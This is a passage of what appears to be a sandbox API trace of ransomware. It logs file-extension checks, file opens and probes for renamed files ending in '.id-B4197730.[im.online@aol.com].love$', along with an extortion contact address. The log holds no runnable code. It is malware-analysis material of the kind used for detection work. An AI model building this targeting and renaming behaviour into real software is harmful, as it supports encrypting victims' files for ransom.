lpString2=".p7b") returned 1 [0105.249] lstrlenW (lpString=".bz2") returned 4 [0105.249] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0105.249] lstrlenW (lpString=".7z") returned 3 [0105.249] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0105.249] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.249] lstrlenW (lpString=".dbf") returned 4 [0105.249] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0105.249] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.249] lstrlenW (lpString=".1cd") returned 4 [0105.249] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0105.249] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.249] lstrlenW (lpString=".jpg") returned 4 [0105.249] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0105.249] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.249] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.249] lstrlenW (lpString=".doc") returned 4 [0105.249] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0105.249] lstrlenW (lpString=".docx") returned 5 [0105.249] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0105.249] lstrlenW (lpString=".pdf") returned 4 [0105.249] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0105.249] lstrlenW (lpString=".xls") returned 4 [0105.249] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0105.249] lstrlenW (lpString=".xlsx") returned 5 [0105.249] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0105.249] lstrlenW (lpString=".ppt") returned 4 [0105.249] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0105.249] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.250] lstrlenW (lpString=".zip") returned 4 [0105.250] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0105.250] lstrlenW (lpString=".rar") returned 4 [0105.250] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0105.250] lstrlenW (lpString=".bz2") returned 4 [0105.250] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0105.250] lstrlenW (lpString=".7z") returned 3 [0105.250] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0105.250] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.250] lstrlenW (lpString=".dbf") returned 4 [0105.250] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0105.250] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.250] lstrlenW (lpString=".1cd") returned 4 [0105.250] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0105.250] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.250] lstrlenW (lpString=".jpg") returned 4 [0105.250] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0105.250] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0105.250] lstrlenW (lpString="Content.xml") returned 11 [0105.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0105.660] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=27045) returned 1 [0105.660] CloseHandle (hObject=0x380) returned 1 [0105.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0105.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.661] lstrlenW (lpString=".doc") returned 4 [0105.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString=".docx") returned 5 [0105.661] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0105.661] lstrlenW (lpString=".pdf") returned 4 [0105.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString=".xls") returned 4 [0105.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString=".xlsx") returned 5 [0105.661] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0105.661] lstrlenW (lpString=".ppt") returned 4 [0105.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.661] lstrlenW (lpString=".zip") returned 4 [0105.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.661] lstrlenW (lpString=".rar") returned 4 [0105.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString=".bz2") returned 4 [0105.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString=".7z") returned 3 [0105.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.661] lstrlenW (lpString=".dbf") returned 4 [0105.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.661] lstrlenW (lpString=".1cd") returned 4 [0105.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.661] lstrlenW (lpString=".jpg") returned 4 [0105.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.662] lstrlenW (lpString=".doc") returned 4 [0105.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString=".docx") returned 5 [0105.662] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0105.662] lstrlenW (lpString=".pdf") returned 4 [0105.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString=".xls") returned 4 [0105.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString=".xlsx") returned 5 [0105.662] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0105.662] lstrlenW (lpString=".ppt") returned 4 [0105.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.662] lstrlenW (lpString=".zip") returned 4 [0105.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.662] lstrlenW (lpString=".rar") returned 4 [0105.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString=".bz2") returned 4 [0105.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString=".7z") returned 3 [0105.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.662] lstrlenW (lpString=".dbf") returned 4 [0105.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.663] lstrlenW (lpString=".1cd") returned 4 [0105.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0105.663] lstrlenW (lpString=".jpg") returned 4 [0105.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.663] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.663] lstrlenW (lpString="correct.avi") returned 11 [0105.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.869] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=180172) returned 1 [0105.869] CloseHandle (hObject=0x2b8) returned 1 [0105.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0105.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.870] lstrlenW (lpString=".doc") returned 4 [0105.870] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString=".docx") returned 5 [0105.871] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0105.871] lstrlenW (lpString=".pdf") returned 4 [0105.871] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString=".xls") returned 4 [0105.871] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString=".xlsx") returned 5 [0105.871] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0105.871] lstrlenW (lpString=".ppt") returned 4 [0105.871] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.871] lstrlenW (lpString=".zip") returned 4 [0105.871] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString=".rar") returned 4 [0105.871] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString=".bz2") returned 4 [0105.871] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString=".7z") returned 3 [0105.871] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.871] lstrlenW (lpString=".dbf") returned 4 [0105.871] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.871] lstrlenW (lpString=".1cd") returned 4 [0105.871] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.871] lstrlenW (lpString=".jpg") returned 4 [0105.871] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.872] lstrlenW (lpString=".doc") returned 4 [0105.872] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString=".docx") returned 5 [0105.872] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0105.872] lstrlenW (lpString=".pdf") returned 4 [0105.872] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString=".xls") returned 4 [0105.872] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString=".xlsx") returned 5 [0105.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0105.872] lstrlenW (lpString=".ppt") returned 4 [0105.872] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.872] lstrlenW (lpString=".zip") returned 4 [0105.872] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString=".rar") returned 4 [0105.872] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString=".bz2") returned 4 [0105.872] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString=".7z") returned 3 [0105.872] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.872] lstrlenW (lpString=".dbf") returned 4 [0105.872] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.872] lstrlenW (lpString=".1cd") returned 4 [0105.872] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0105.873] lstrlenW (lpString=".jpg") returned 4 [0105.873] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.873] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.873] lstrlenW (lpString="delete.avi") returned 10 [0105.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.878] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=208408) returned 1 [0105.878] CloseHandle (hObject=0x2b8) returned 1 [0105.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0105.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.524] lstrlenW (lpString=".doc") returned 4 [0106.524] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.524] lstrlenW (lpString=".docx") returned 5 [0106.524] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0106.524] lstrlenW (lpString=".pdf") returned 4 [0106.524] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.524] lstrlenW (lpString=".xls") returned 4 [0106.524] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.524] lstrlenW (lpString=".xlsx") returned 5 [0106.524] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0106.549] lstrlenW (lpString=".ppt") returned 4 [0106.549] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.549] lstrlenW (lpString=".zip") returned 4 [0106.549] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.549] lstrlenW (lpString=".rar") returned 4 [0106.549] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.549] lstrlenW (lpString=".bz2") returned 4 [0106.549] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.549] lstrlenW (lpString=".7z") returned 3 [0106.550] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.550] lstrlenW (lpString=".dbf") returned 4 [0106.550] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.550] lstrlenW (lpString=".1cd") returned 4 [0106.550] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.550] lstrlenW (lpString=".jpg") returned 4 [0106.550] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.550] lstrlenW (lpString=".doc") returned 4 [0106.550] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.550] lstrlenW (lpString=".docx") returned 5 [0106.551] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0106.551] lstrlenW (lpString=".pdf") returned 4 [0106.551] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString=".xls") returned 4 [0106.551] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString=".xlsx") returned 5 [0106.551] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0106.551] lstrlenW (lpString=".ppt") returned 4 [0106.551] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.551] lstrlenW (lpString=".zip") returned 4 [0106.551] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString=".rar") returned 4 [0106.551] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString=".bz2") returned 4 [0106.551] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString=".7z") returned 3 [0106.551] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.551] lstrlenW (lpString=".dbf") returned 4 [0106.551] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.551] lstrlenW (lpString=".1cd") returned 4 [0106.551] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0106.551] lstrlenW (lpString=".jpg") returned 4 [0106.551] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.552] lstrcmpiW (lpString1=".dat", lpString2=".love$") returned -1 [0106.552] lstrlenW (lpString="hwrenclm.dat") returned 12 [0106.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.857] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=498624) returned 1 [0106.857] CloseHandle (hObject=0x368) returned 1 [0106.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0106.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.859] lstrlenW (lpString=".doc") returned 4 [0106.859] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0106.859] lstrlenW (lpString=".docx") returned 5 [0106.859] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0106.859] lstrlenW (lpString=".pdf") returned 4 [0106.859] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0106.859] lstrlenW (lpString=".xls") returned 4 [0106.860] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0106.860] lstrlenW (lpString=".xlsx") returned 5 [0106.860] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0106.860] lstrlenW (lpString=".ppt") returned 4 [0106.860] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0106.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.860] lstrlenW (lpString=".zip") returned 4 [0106.860] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0106.860] lstrlenW (lpString=".rar") returned 4 [0106.860] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0106.860] lstrlenW (lpString=".bz2") returned 4 [0106.860] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0106.860] lstrlenW (lpString=".7z") returned 3 [0106.860] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0106.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.860] lstrlenW (lpString=".dbf") returned 4 [0106.861] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0106.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.861] lstrlenW (lpString=".1cd") returned 4 [0106.861] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0106.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.861] lstrlenW (lpString=".jpg") returned 4 [0106.861] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0106.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.862] lstrlenW (lpString=".doc") returned 4 [0106.862] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0106.862] lstrlenW (lpString=".docx") returned 5 [0106.862] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0106.862] lstrlenW (lpString=".pdf") returned 4 [0106.862] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0106.863] lstrlenW (lpString=".xls") returned 4 [0106.863] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0106.863] lstrlenW (lpString=".xlsx") returned 5 [0106.863] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0106.863] lstrlenW (lpString=".ppt") returned 4 [0106.863] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0106.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.864] lstrlenW (lpString=".zip") returned 4 [0106.864] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0106.864] lstrlenW (lpString=".rar") returned 4 [0106.864] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0106.864] lstrlenW (lpString=".bz2") returned 4 [0106.864] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0106.864] lstrlenW (lpString=".7z") returned 3 [0106.864] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0106.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.864] lstrlenW (lpString=".dbf") returned 4 [0106.864] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0106.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.864] lstrlenW (lpString=".1cd") returned 4 [0106.864] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0106.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0106.865] lstrlenW (lpString=".jpg") returned 4 [0106.865] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0106.865] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.865] lstrlenW (lpString="ipsrus.xml") returned 10 [0106.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.868] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=2542) returned 1 [0106.868] CloseHandle (hObject=0x368) returned 1 [0106.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0106.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id-B4197730.[im.online@aol.com].love$" 